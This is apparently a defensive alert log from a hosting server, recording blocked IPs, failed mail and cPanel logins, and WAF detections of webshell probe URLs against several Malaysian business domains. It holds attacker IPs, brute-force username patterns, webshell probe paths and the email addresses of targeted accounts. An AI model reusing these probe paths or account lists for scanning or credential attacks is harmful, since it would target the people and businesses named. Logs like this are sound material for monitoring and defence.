# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 05:57:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.87.194.80
country_id: 1168579
description:
Jan 16 05:57:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.87.194.80 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.87.194.80
country_id: 1168579
description:
2026-01-16 05:57:39 dovecot_login authenticator failed for H=([103.253.19.87]) [103.87.194.80]:41141: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.139
country_id: 3469034
description:
Jan 16 05:58:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.82.23.183
country_id: 798544
description:
Jan 16 05:58:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.82.23.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.37
country_id: 3469034
description:
Jan 16 05:59:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/keyword/images/home/testimonial.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.13.208.168
country_id: 3865483
description:
[2026-01-16 06:00:19 +0800] info [cpaneld] 186.13.208.168 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.4.47.70
country_id: 1733045
description:
[2026-01-16 06:00:35 +0800] info [cpaneld] 103.4.47.70 - solidfen "GET /login/?login_only=1&user=solidfen&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user solidfen (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.246.6.202
country_id: 3469034
description:
[2026-01-16 06:00:51 +0800] info [cpaneld] 170.246.6.202 - solid "GET /login/?login_only=1&user=solid&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user solid (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.210.72.239
country_id: 1036973
description:
[2026-01-16 06:00:55 +0800] info [cpaneld] 102.210.72.239 - soli "GET /login/?login_only=1&user=soli&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soli (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.4.27.166
country_id: 3469034
description:
[2026-01-16 06:01:08 +0800] info [cpaneld] 187.4.27.166 - solidfe1 "GET /login/?login_only=1&user=solidfe1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user solidfe1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.222.216.147
country_id: 3469034
description:
[2026-01-16 06:01:05 +0800] info [cpaneld] 148.222.216.147 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.145.50.175
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-01.198.145.50.175||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-16 06:02:19 H=([94.156.152.18]) [94.156.152.18]:53244 F=<patrick.berger@huawei.com> rejected RCPT <marylinkoh@ktlog.com.my>: SPF: 94.156.152.18 is not allowed to send mail from huawei.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-16 06:03:09 H=(localhost.localdomain) [78.153.140.207]:58188 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 06:04:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57584: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.249.198
country_id: 2395170
description:
Jan 16 06:04:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.249.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.45
country_id: 3175395
description:
Jan 16 06:05:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.126.220.217
country_id: 3469034
description:
Jan 16 06:05:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.126.220.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 06:05:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.195.122.188
country_id: 1814991
description:
2026-01-16 06:06:39 dovecot_login authenticator failed for H=([221.195.122.188]) [221.195.122.188]:39916: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.17.124.75
country_id: 1269750
description:
2026-01-16 06:06:40 dovecot_login authenticator failed for H=(aes-static-075.124.17.125.airtel.in) [125.17.124.75]:38222: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.195.122.188
country_id: 1814991
description:
Jan 16 06:06:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.195.122.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.17.124.75
country_id: 1269750
description:
Jan 16 06:06:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.17.124.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 06:06:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.70.126.234
country_id: 1269750
description:
Jan 16 06:09:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.70.126.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.166
country_id: 3469034
description:
Jan 16 06:09:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.166 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/about.php||SC:/home/indfinitydesign/public_html/img/photos/about.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.169.54.150
country_id: 1814991
description:
Jan 16 06:10:40 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.169.54.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.169.54.150
country_id: 1814991
description:
2026-01-16 06:10:42 dovecot_login authenticator failed for H=([61.169.54.150]) [61.169.54.150]:45951: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 06:11:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.22
country_id: 798544
description:
Jan 16 06:11:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/druma/video.php||SC:/home/indfinitydesign/public_html/images/druma||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.22
country_id: 798544
description:
Jan 16 06:12:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.87
country_id: 2510769
description:
Jan 16 06:12:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 185.247.137.128
country_id: 2635167
description:
Jan 16 06:13:21 sv3 pure-ftpd[60727]: (?@185.247.137.128) [INFO] New connection from 185.247.137.128


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.51.34.229
country_id: 2510769
description:
2026-01-16 06:14:25 dovecot_login authenticator failed for H=(229.34.51.212.dynamic.reverse-mundo-r.com) [212.51.34.229]:59239: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.51.34.229
country_id: 2510769
description:
Jan 16 06:14:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.51.34.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.37.179.158
country_id: 2017370
description:
2026-01-16 06:15:04 dovecot_login authenticator failed for H=broadband-77-37-179-158.ip.moscow.rt.ru [77.37.179.158]:54658: 535 Incorrect authentication data (set_id=slgoh@kendek.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 164.163.142.173
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/console/Command/Command.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.134.31.193
country_id: 1835841
description:
Jan 16 06:15:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.134.31.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.134.31.193
country_id: 1835841
description:
2026-01-16 06:15:16 dovecot_login authenticator failed for H=([121.134.31.193]) [121.134.31.193]:58245: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.73.162.62
country_id: 2186224
description:
Jan 16 06:15:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.73.162.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.162.62
country_id: 2186224
description:
2026-01-16 06:15:27 dovecot_login authenticator failed for H=([121.73.162.62]) [121.73.162.62]:37548: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.37.179.158
country_id: 2017370
description:
Jan 16 06:15:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.37.179.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.203
country_id: 2300660
description:
Jan 16 06:17:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-16 06:18:01 dovecot_login authenticator failed for H=(MSGshJ13) [158.94.208.175]:58572: 535 Incorrect authentication data (set_id=shutters)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 16 06:17:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.208.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 16 06:18:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.208.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-16 06:19:01 dovecot_login authenticator failed for H=(dWM89mF) [158.94.208.175]:58435: 535 Incorrect authentication data (set_id=shutters)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.4
country_id: 2395170
description:
Jan 16 06:20:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 16 06:20:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.208.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-16 06:20:10 dovecot_login authenticator failed for H=(59R8DcXiuH) [158.94.208.175]:51121: 535 Incorrect authentication data (set_id=shutters)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 06:20:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.164
country_id: 798544
description:
Jan 16 06:20:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.197.110
country_id: 3865483
description:
Jan 16 06:20:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.197.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 06:21:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.63.132.166
country_id: 3175395
description:
Jan 16 06:21:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.63.132.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.197.110
country_id: 3865483
description:
Jan 16 06:20:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.197.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.63.132.166
country_id: 3175395
description:
Jan 16 06:21:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.63.132.166 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.32.41.16
country_id: 798549
description:
Jan 16 06:26:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.32.41.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.32.41.16
country_id: 798549
description:
2026-01-16 06:26:53 dovecot_login authenticator failed for H=(ADMIN) [89.32.41.16]:39550: 535 Incorrect authentication data (set_id=marketing@kdiballoon.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.192
country_id: 3469034
description:
Jan 16 06:28:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.133
country_id: 798544
description:
Jan 16 06:29:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.133
country_id: 798544
description:
Jan 16 06:29:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 06:32:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57610: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.79.74
country_id: 3469034
description:
Jan 16 06:33:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.79.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.113.82
country_id: 3996063
description:
Jan 16 06:33:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.113.82 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.237.73.24
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/eminent.st/merge/article/why_green_is_the_new_black_in_the_investors/index.html HTTP/1.0||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 122.8.91.196
country_id: 1819730
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-34.122.8.91.196||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.113.82
country_id: 3996063
description:
Jan 16 06:33:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.113.82 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.242.72.159
country_id: 6252001
description:
[2026-01-16 06:34:33 +0800] info [webmaild] 91.242.72.159 - bcteh@kendek.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.242.123.244
country_id: 617790
description:
[2026-01-16 06:34:37 +0800] info [webmaild] 91.242.123.244 - kendek@kendek.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 145.255.49.20
country_id: 2921044
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/visit/18/438/1826970 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.168.34.40
country_id: 6252001
description:
2026-01-16  6:37:14 148011 [Warning] Aborted connection 148011 to db: 'unconnected' user: 'unauthenticated' host: '206.168.34.40' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.86.166.154
country_id: 3469034
description:
Jan 16 06:38:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.86.166.154 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/sliders/about.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.43.94
country_id: 6290252
description:
Jan 16 06:43:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.43.94 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 181.177.121.53
country_id: 6252001
domain: cofreth.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.6998.35 Safari/537.36||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.210.57
country_id: 933860
description:
Jan 16 06:43:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.210.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.210.57
country_id: 933860
description:
Jan 16 06:43:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.210.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.30
country_id: 3077311
description:
Jan 16 06:44:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.237.57.13
country_id: 2510769
description:
Jan 16 06:44:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.237.57.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.187.152.152
country_id: 2464461
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/captain/515/518940 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.155
country_id: 953987
description:
Jan 16 06:46:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.133
country_id: 2300660
description:
Jan 16 06:47:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.50.237
country_id: 3175395
description:
Jan 16 06:48:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.50.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.42
country_id: 3469034
description:
Jan 16 06:49:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.171
country_id: 3469034
description:
Jan 16 06:49:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.171
country_id: 3469034
description:
Jan 16 06:49:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.86.18.50
country_id: 3469034
description:
Jan 16 06:50:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.86.18.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.46.81
country_id: 953987
description:
Jan 16 06:50:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.46.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.232.221.180
country_id: 3144096
description:
Jan 16 06:52:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.232.221.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.221.180
country_id: 3144096
description:
2026-01-16 06:53:01 dovecot_login authenticator failed for H=(cm-178.232.221.180.get.no) [178.232.221.180]:56094: 535 Incorrect authentication data (set_id=wgoeqsscr@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.47
country_id: 3469034
description:
Jan 16 06:57:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.47
country_id: 3469034
description:
Jan 16 06:58:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
